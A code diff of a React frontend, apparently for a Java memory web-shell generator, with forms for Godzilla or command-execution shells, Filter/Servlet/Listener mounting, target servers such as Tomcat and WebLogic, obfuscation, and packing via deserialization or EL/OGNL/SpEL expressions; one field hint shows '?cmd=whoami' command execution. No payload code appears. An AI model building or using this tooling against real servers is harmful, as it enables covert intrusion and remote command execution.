<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{shellTypes.length ? (
|
||||
shellTypes.map((v) => (
|
||||
<SelectItem key={v} value={v}>
|
||||
{v}
|
||||
</SelectItem>
|
||||
))
|
||||
) : (
|
||||
<SelectItem value=" ">请先选择内存马工具类型</SelectItem>
|
||||
)}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="urlPattern"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-col mt-1">
|
||||
<Label className="flex items-center">
|
||||
请求路径 <UrlPatternTip />
|
||||
</Label>
|
||||
<Input {...field} placeholder="请输入" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
{form.getValues().shellTool === "Godzilla" && (
|
||||
<div className="space-y-1">
|
||||
<Label>Godzilla 配置</Label>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="godzillaPass"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1 flex items-center justify-start">
|
||||
<Label className="text-xs whitespace-nowrap w-1/2">密码:</Label>
|
||||
<Input {...field} placeholder="Pass" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="godzillaKey"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1 flex items-center justify-start">
|
||||
<Label className="text-xs whitespace-nowrap w-1/2">密钥:</Label>
|
||||
<Input {...field} placeholder="Key" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="godzillaHeaderName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1 flex items-center justify-start">
|
||||
<Label className="text-xs whitespace-nowrap w-1/2">请求头键:</Label>
|
||||
<Input {...field} placeholder="Header Name" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="godzillaHeaderValue"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1 flex items-center justify-start">
|
||||
<Label className="text-xs whitespace-nowrap w-1/2">请求头值:</Label>
|
||||
<Input {...field} placeholder="Header Value" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{form.getValues().shellTool === "Command" && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="commandParamName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>请求参数</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder="请输入" className="h-8" />
|
||||
</FormControl>
|
||||
<FormDescription>填写接收命令的请求参数,例如填 cmd 即 `?cmd=whoami` 来执行命令</FormDescription>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
<Separator className="mt-4 mb-2" />
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="injectorClassName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>注入器类名(可选)</FormLabel>
|
||||
<Input id="injectorClassName" {...field} placeholder="请输入" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="space-y-1 mt-2">
|
||||
<Label htmlFor="interface" className="flex items-center gap-2">
|
||||
注入器类继承(可选)(WIP)
|
||||
</Label>
|
||||
<Select>
|
||||
<SelectTrigger id="server" className="h-8">
|
||||
<Select disabled>
|
||||
<SelectTrigger id="interface" className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="tomcat">Tomcat</SelectItem>
|
||||
<SelectItem value="jetty">Jetty</SelectItem>
|
||||
<SelectItem value="undertow">Undertow</SelectItem>
|
||||
<SelectItem value="jboss">JBoss</SelectItem>
|
||||
<SelectItem value="wildfly">Wildfly</SelectItem>
|
||||
<SelectItem value="springmvc">SpringMVC</SelectItem>
|
||||
<SelectItem value="springwebflux">SpringWebflux</SelectItem>
|
||||
<SelectItem value="weblogic">WebLogic</SelectItem>
|
||||
<SelectItem value="websphere">WebSphere</SelectItem>
|
||||
<SelectItem value="resin">Resin</SelectItem>
|
||||
<SelectItem value="glassfish">Glassfish</SelectItem>
|
||||
<SelectItem value="bes">BES</SelectItem>
|
||||
<SelectItem value="tongweb">TongWeb</SelectItem>
|
||||
<SelectItem value="JDK_AbstractTranslet">JDK_AbstractTranslet</SelectItem>
|
||||
<SelectItem value="XALAN_AbstractTranslet">XALAN_AbstractTranslet</SelectItem>
|
||||
<SelectItem value="FASTJSON_GroovyASTTransformation">FASTJSON_GroovyASTTransformation</SelectItem>
|
||||
<SelectItem value="SnakeYaml_ScriptEngineFactory">SnakeYaml_ScriptEngineFactory</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<div className="space-y-1">
|
||||
<Label htmlFor="targetJdkVersion" className="text-sm">
|
||||
JRE
|
||||
</Label>
|
||||
<Select defaultValue="6">
|
||||
<SelectTrigger id="targetJdkVersion" className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="6">Java 6</SelectItem>
|
||||
<SelectItem value="7">Java 7</SelectItem>
|
||||
<SelectItem value="8">Java 8</SelectItem>
|
||||
<SelectItem value="9">Java 9</SelectItem>
|
||||
<SelectItem value="11">Java 11</SelectItem>
|
||||
<SelectItem value="17">Java 17</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
</div>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<div>
|
||||
<Label htmlFor="shellClassName" className="text-sm">
|
||||
自定义内存马类名(可选)
|
||||
</Label>
|
||||
<Input id="shellClassName" placeholder="请输入" className="h-8" />
|
||||
</div>
|
||||
<div>
|
||||
<Label htmlFor="injectorClassName" className="text-sm">
|
||||
自定义注入器类名(可选)
|
||||
</Label>
|
||||
<Input id="injectorClassName" placeholder="请输入" className="h-8" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex items-center space-x-4">
|
||||
<div className="flex items-center space-x-2">
|
||||
<Switch id="obfuscate" />
|
||||
<Label htmlFor="obfuscate" className="text-sm">
|
||||
开启混淆
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<Switch id="debug" />
|
||||
<Label htmlFor="debug" className="text-sm">
|
||||
开启调试
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<Switch id="lambda" />
|
||||
<Label htmlFor="debug" className="text-sm">
|
||||
Lambda 类名
|
||||
</Label>
|
||||
</div>
|
||||
</div>
|
||||
</CardContent>
|
||||
</CardContent>
|
||||
</FormProvider>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,9 +1,18 @@
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { Label } from "@/components/ui/label.tsx";
|
||||
import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx";
|
||||
import { FormSchema } from "@/types/schema.ts";
|
||||
import { PackerConfig } from "@/types/shell.ts";
|
||||
import { PackageIcon } from "lucide-react";
|
||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||
|
||||
export function PackageConfigCard() {
|
||||
export function PackageConfigCard({
|
||||
packerConfig,
|
||||
form,
|
||||
}: {
|
||||
packerConfig: PackerConfig | undefined;
|
||||
form: UseFormReturn<FormSchema>;
|
||||
}) {
|
||||
return (
|
||||
<Card className="w-full">
|
||||
<CardHeader className="pb-1">
|
||||
@@ -12,74 +21,32 @@ export function PackageConfigCard() {
|
||||
<span>打包配置</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2">
|
||||
<div className="space-y-1">
|
||||
<Label className="text-sm">打包方式</Label>
|
||||
<RadioGroup defaultValue="base64">
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="base64" id="base64" />
|
||||
<Label htmlFor="base64" className="text-xs">
|
||||
Base64
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="jsp" id="jsp" />
|
||||
<Label htmlFor="jsp" className="text-xs">
|
||||
JSP
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="classFile" id="classFile" />
|
||||
<Label htmlFor="classFile" className="text-xs">
|
||||
反序列化
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="scriptEngine" id="scriptEngine" />
|
||||
<Label htmlFor="scriptEngine" className="text-xs">
|
||||
ScriptEngine
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="elExpression" id="elExpression" />
|
||||
<Label htmlFor="elExpression" className="text-xs">
|
||||
EL Expression
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="ognlExpression" id="ognlExpression" />
|
||||
<Label htmlFor="ognlExpression" className="text-xs">
|
||||
OGNL Expression
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="spelExpression" id="spelExpression" />
|
||||
<Label htmlFor="spelExpression" className="text-xs">
|
||||
SpEL Expression
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="elExpression" id="elExpression" />
|
||||
<Label htmlFor="elExpression" className="text-xs">
|
||||
EL Expression
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="freemarkerExpression" id="freemarkerExpression" />
|
||||
<Label htmlFor="freemarkerExpression" className="text-xs">
|
||||
Freemarker
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<RadioGroupItem value="velocityExpression" id="velocityExpression" />
|
||||
<Label htmlFor="velocityExpression" className="text-xs">
|
||||
Velocity
|
||||
</Label>
|
||||
</div>
|
||||
</div>
|
||||
</RadioGroup>
|
||||
</div>
|
||||
<CardContent>
|
||||
<FormProvider {...form}>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="packingMethod"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-3">
|
||||
<FormLabel>打包方式</FormLabel>
|
||||
<FormControl>
|
||||
<RadioGroup onValueChange={field.onChange} defaultValue={field.value} className="grid grid-cols-3">
|
||||
{Object.entries(packerConfig ?? {}).map(([name, value]) => (
|
||||
<FormItem key={value} className="flex items-center space-x-3 space-y-0">
|
||||
<FormControl>
|
||||
<RadioGroupItem value={value} id={value} />
|
||||
</FormControl>
|
||||
<FormLabel className="text-xs" htmlFor={value}>
|
||||
{name}
|
||||
</FormLabel>
|
||||
</FormItem>
|
||||
))}
|
||||
</RadioGroup>
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</FormProvider>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
|
||||
@@ -1,78 +0,0 @@
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { Input } from "@/components/ui/input.tsx";
|
||||
import { Label } from "@/components/ui/label.tsx";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select.tsx";
|
||||
import { FishSymbolIcon } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
|
||||
export function ShellConfigCard() {
|
||||
const [shellTool, setShellTool] = useState<string>("");
|
||||
return (
|
||||
<Card className="w-full">
|
||||
<CardHeader className="pb-1">
|
||||
<CardTitle className="text-md flex items-center gap-2">
|
||||
<FishSymbolIcon className="h-5" />
|
||||
<span>内存马配置</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2">
|
||||
<div className="space-y-1">
|
||||
<Label htmlFor="shellType" className="text-sm">
|
||||
挂载类型
|
||||
</Label>
|
||||
<Select>
|
||||
<SelectTrigger id="shellType" className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="filter">Filter</SelectItem>
|
||||
<SelectItem value="servlet">Servlet</SelectItem>
|
||||
<SelectItem value="listener">Listener</SelectItem>
|
||||
<SelectItem value="agent">Agent</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<div className="space-y-1">
|
||||
<Label htmlFor="shellTool" className="text-sm">
|
||||
工具类型
|
||||
</Label>
|
||||
<Select onValueChange={(value: string) => setShellTool(value)}>
|
||||
<SelectTrigger id="shellTool" className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="command">命令执行</SelectItem>
|
||||
<SelectItem value="fileList">File List</SelectItem>
|
||||
<SelectItem value="gozilla">Godzilla</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
{shellTool === "gozilla" && (
|
||||
<div className="space-y-1">
|
||||
<Label className="text-sm">Godzilla 配置</Label>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<Input placeholder="Pass" className="h-8 text-sm" />
|
||||
<Input placeholder="Key" className="h-8 text-sm" />
|
||||
<Input placeholder="Header Name" className="h-8 text-sm" />
|
||||
<Input placeholder="Header Value" className="h-8 text-sm" />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{shellTool === "command" && (
|
||||
<div className="space-y-1">
|
||||
<Label htmlFor="paramName" className="text-sm">
|
||||
接收命令请求参数
|
||||
</Label>
|
||||
<Input id="paramName" placeholder="请输入" className="h-8 text-sm" />
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -26,9 +26,7 @@ export function ThemeProvider({
|
||||
storageKey = "vite-ui-theme",
|
||||
...props
|
||||
}: ThemeProviderProps) {
|
||||
const [theme, setTheme] = useState<Theme>(
|
||||
() => (localStorage.getItem(storageKey) as Theme) || defaultTheme,
|
||||
);
|
||||
const [theme, setTheme] = useState<Theme>(() => (localStorage.getItem(storageKey) as Theme) || defaultTheme);
|
||||
|
||||
useEffect(() => {
|
||||
const root = window.document.documentElement;
|
||||
@@ -37,9 +35,7 @@ export function ThemeProvider({
|
||||
|
||||
root.removeAttribute(mode);
|
||||
if (theme === "system") {
|
||||
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches
|
||||
? "dark"
|
||||
: "light";
|
||||
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
|
||||
|
||||
root.classList.add(systemTheme);
|
||||
root.setAttribute(mode, systemTheme);
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
|
||||
import { InfoIcon } from "lucide-react";
|
||||
|
||||
export function JRETip() {
|
||||
return (
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<InfoIcon className="cursor-pointer h-3" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>目标 JRE 版本,一般而言为了最大的兼容性,默认 Java 6 即可。</p>
|
||||
<p>特定情况下,例如 JDK8 才能使用 lambda 表达式,JDK9 以上存在模块限制时才需要选择特定的版本。</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
|
||||
import { InfoIcon } from "lucide-react";
|
||||
|
||||
export function UrlPatternTip() {
|
||||
return (
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<InfoIcon className="cursor-pointer h-4" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
);
|
||||
}
|
||||
@@ -9,8 +9,7 @@ const alertVariants = cva(
|
||||
variants: {
|
||||
variant: {
|
||||
default: "bg-background text-foreground",
|
||||
destructive:
|
||||
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
||||
destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
@@ -29,21 +28,16 @@ Alert.displayName = "Alert";
|
||||
|
||||
const AlertTitle = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLHeadingElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<h5
|
||||
ref={ref}
|
||||
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
|
||||
{...props}
|
||||
/>
|
||||
<h5 ref={ref} className={cn("mb-1 font-medium leading-none tracking-tight", className)} {...props} />
|
||||
),
|
||||
);
|
||||
AlertTitle.displayName = "AlertTitle";
|
||||
|
||||
const AlertDescription = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
|
||||
));
|
||||
const AlertDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
|
||||
),
|
||||
);
|
||||
AlertDescription.displayName = "AlertDescription";
|
||||
|
||||
export { Alert, AlertTitle, AlertDescription };
|
||||
|
||||
@@ -11,8 +11,7 @@ const buttonVariants = cva(
|
||||
variant: {
|
||||
default: "bg-primary text-primary-foreground shadow hover:bg-primary/90",
|
||||
destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
|
||||
outline:
|
||||
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
||||
outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
||||
secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
|
||||
ghost: "hover:bg-accent hover:text-accent-foreground",
|
||||
link: "text-primary underline-offset-4 hover:underline",
|
||||
@@ -40,9 +39,7 @@ export interface ButtonProps
|
||||
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "button";
|
||||
return (
|
||||
<Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />
|
||||
);
|
||||
return <Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />;
|
||||
},
|
||||
);
|
||||
Button.displayName = "Button";
|
||||
|
||||
@@ -2,15 +2,9 @@ import * as React from "react";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("rounded-xl border bg-card text-card-foreground shadow", className)}
|
||||
{...props}
|
||||
/>
|
||||
),
|
||||
);
|
||||
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(({ className, ...props }, ref) => (
|
||||
<div ref={ref} className={cn("rounded-xl border bg-card text-card-foreground shadow", className)} {...props} />
|
||||
));
|
||||
Card.displayName = "Card";
|
||||
|
||||
const CardHeader = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||
@@ -22,11 +16,7 @@ CardHeader.displayName = "CardHeader";
|
||||
|
||||
const CardTitle = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("font-semibold leading-none tracking-tight", className)}
|
||||
{...props}
|
||||
/>
|
||||
<div ref={ref} className={cn("font-semibold leading-none tracking-tight", className)} {...props} />
|
||||
),
|
||||
);
|
||||
CardTitle.displayName = "CardTitle";
|
||||
@@ -39,9 +29,7 @@ const CardDescription = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HT
|
||||
CardDescription.displayName = "CardDescription";
|
||||
|
||||
const CardContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
|
||||
),
|
||||
({ className, ...props }, ref) => <div ref={ref} className={cn("p-6 pt-0", className)} {...props} />,
|
||||
);
|
||||
CardContent.displayName = "CardContent";
|
||||
|
||||
|
||||
@@ -152,18 +152,12 @@ const DropdownMenuSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.Separator
|
||||
ref={ref}
|
||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
||||
{...props}
|
||||
/>
|
||||
<DropdownMenuPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
|
||||
));
|
||||
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;
|
||||
|
||||
const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes<HTMLSpanElement>) => {
|
||||
return (
|
||||
<span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />
|
||||
);
|
||||
return <span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />;
|
||||
};
|
||||
DropdownMenuShortcut.displayName = "DropdownMenuShortcut";
|
||||
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
import * as React from "react";
|
||||
import * as LabelPrimitive from "@radix-ui/react-label";
|
||||
import { Slot } from "@radix-ui/react-slot";
|
||||
import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
import { Label } from "@/components/ui/label";
|
||||
|
||||
const Form = FormProvider;
|
||||
|
||||
type FormFieldContextValue<
|
||||
TFieldValues extends FieldValues = FieldValues,
|
||||
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
|
||||
> = {
|
||||
name: TName;
|
||||
};
|
||||
|
||||
const FormFieldContext = React.createContext<FormFieldContextValue>({} as FormFieldContextValue);
|
||||
|
||||
const FormField = <
|
||||
TFieldValues extends FieldValues = FieldValues,
|
||||
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
|
||||
>({
|
||||
...props
|
||||
}: ControllerProps<TFieldValues, TName>) => {
|
||||
return (
|
||||
<FormFieldContext.Provider value={{ name: props.name }}>
|
||||
<Controller {...props} />
|
||||
</FormFieldContext.Provider>
|
||||
);
|
||||
};
|
||||
|
||||
const useFormField = () => {
|
||||
const fieldContext = React.useContext(FormFieldContext);
|
||||
const itemContext = React.useContext(FormItemContext);
|
||||
const { getFieldState, formState } = useFormContext();
|
||||
|
||||
const fieldState = getFieldState(fieldContext.name, formState);
|
||||
|
||||
if (!fieldContext) {
|
||||
throw new Error("useFormField should be used within <FormField>");
|
||||
}
|
||||
|
||||
const { id } = itemContext;
|
||||
|
||||
return {
|
||||
id,
|
||||
name: fieldContext.name,
|
||||
formItemId: `${id}-form-item`,
|
||||
formDescriptionId: `${id}-form-item-description`,
|
||||
formMessageId: `${id}-form-item-message`,
|
||||
...fieldState,
|
||||
};
|
||||
};
|
||||
|
||||
type FormItemContextValue = {
|
||||
id: string;
|
||||
};
|
||||
|
||||
const FormItemContext = React.createContext<FormItemContextValue>({} as FormItemContextValue);
|
||||
|
||||
const FormItem = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => {
|
||||
const id = React.useId();
|
||||
|
||||
return (
|
||||
<FormItemContext.Provider value={{ id }}>
|
||||
<div ref={ref} className={cn("space-y-2", className)} {...props} />
|
||||
</FormItemContext.Provider>
|
||||
);
|
||||
},
|
||||
);
|
||||
FormItem.displayName = "FormItem";
|
||||
|
||||
const FormLabel = React.forwardRef<
|
||||
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root>
|
||||
>(({ className, ...props }, ref) => {
|
||||
const { error, formItemId } = useFormField();
|
||||
|
||||
return <Label ref={ref} className={cn(error && "text-destructive", className)} htmlFor={formItemId} {...props} />;
|
||||
});
|
||||
FormLabel.displayName = "FormLabel";
|
||||
|
||||
const FormControl = React.forwardRef<React.ElementRef<typeof Slot>, React.ComponentPropsWithoutRef<typeof Slot>>(
|
||||
({ ...props }, ref) => {
|
||||
const { error, formItemId, formDescriptionId, formMessageId } = useFormField();
|
||||
|
||||
return (
|
||||
<Slot
|
||||
ref={ref}
|
||||
id={formItemId}
|
||||
aria-describedby={!error ? `${formDescriptionId}` : `${formDescriptionId} ${formMessageId}`}
|
||||
aria-invalid={!!error}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
},
|
||||
);
|
||||
FormControl.displayName = "FormControl";
|
||||
|
||||
const FormDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||
({ className, ...props }, ref) => {
|
||||
const { formDescriptionId } = useFormField();
|
||||
|
||||
return (
|
||||
<p ref={ref} id={formDescriptionId} className={cn("text-[0.8rem] text-muted-foreground", className)} {...props} />
|
||||
);
|
||||
},
|
||||
);
|
||||
FormDescription.displayName = "FormDescription";
|
||||
|
||||
const FormMessage = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||
({ className, children, ...props }, ref) => {
|
||||
const { error, formMessageId } = useFormField();
|
||||
const body = error ? String(error?.message) : children;
|
||||
|
||||
if (!body) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<p
|
||||
ref={ref}
|
||||
id={formMessageId}
|
||||
className={cn("text-[0.8rem] font-medium text-destructive", className)}
|
||||
{...props}
|
||||
>
|
||||
{body}
|
||||
</p>
|
||||
);
|
||||
},
|
||||
);
|
||||
FormMessage.displayName = "FormMessage";
|
||||
|
||||
export { useFormField, Form, FormItem, FormLabel, FormControl, FormDescription, FormMessage, FormField };
|
||||
@@ -6,9 +6,7 @@ import { cva, type VariantProps } from "class-variance-authority";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const labelVariants = cva(
|
||||
"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",
|
||||
);
|
||||
const labelVariants = cva("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70");
|
||||
|
||||
const Label = React.forwardRef<
|
||||
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||
|
||||
@@ -94,11 +94,7 @@ const SelectLabel = React.forwardRef<
|
||||
React.ElementRef<typeof SelectPrimitive.Label>,
|
||||
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<SelectPrimitive.Label
|
||||
ref={ref}
|
||||
className={cn("px-2 py-1.5 text-sm font-semibold", className)}
|
||||
{...props}
|
||||
/>
|
||||
<SelectPrimitive.Label ref={ref} className={cn("px-2 py-1.5 text-sm font-semibold", className)} {...props} />
|
||||
));
|
||||
SelectLabel.displayName = SelectPrimitive.Label.displayName;
|
||||
|
||||
@@ -128,11 +124,7 @@ const SelectSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof SelectPrimitive.Separator>,
|
||||
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<SelectPrimitive.Separator
|
||||
ref={ref}
|
||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
||||
{...props}
|
||||
/>
|
||||
<SelectPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
|
||||
));
|
||||
SelectSeparator.displayName = SelectPrimitive.Separator.displayName;
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
import * as React from "react";
|
||||
import * as SeparatorPrimitive from "@radix-ui/react-separator";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const Separator = React.forwardRef<
|
||||
React.ElementRef<typeof SeparatorPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
|
||||
>(({ className, orientation = "horizontal", decorative = true, ...props }, ref) => (
|
||||
<SeparatorPrimitive.Root
|
||||
ref={ref}
|
||||
decorative={decorative}
|
||||
orientation={orientation}
|
||||
className={cn("shrink-0 bg-border", orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]", className)}
|
||||
{...props}
|
||||
/>
|
||||
));
|
||||
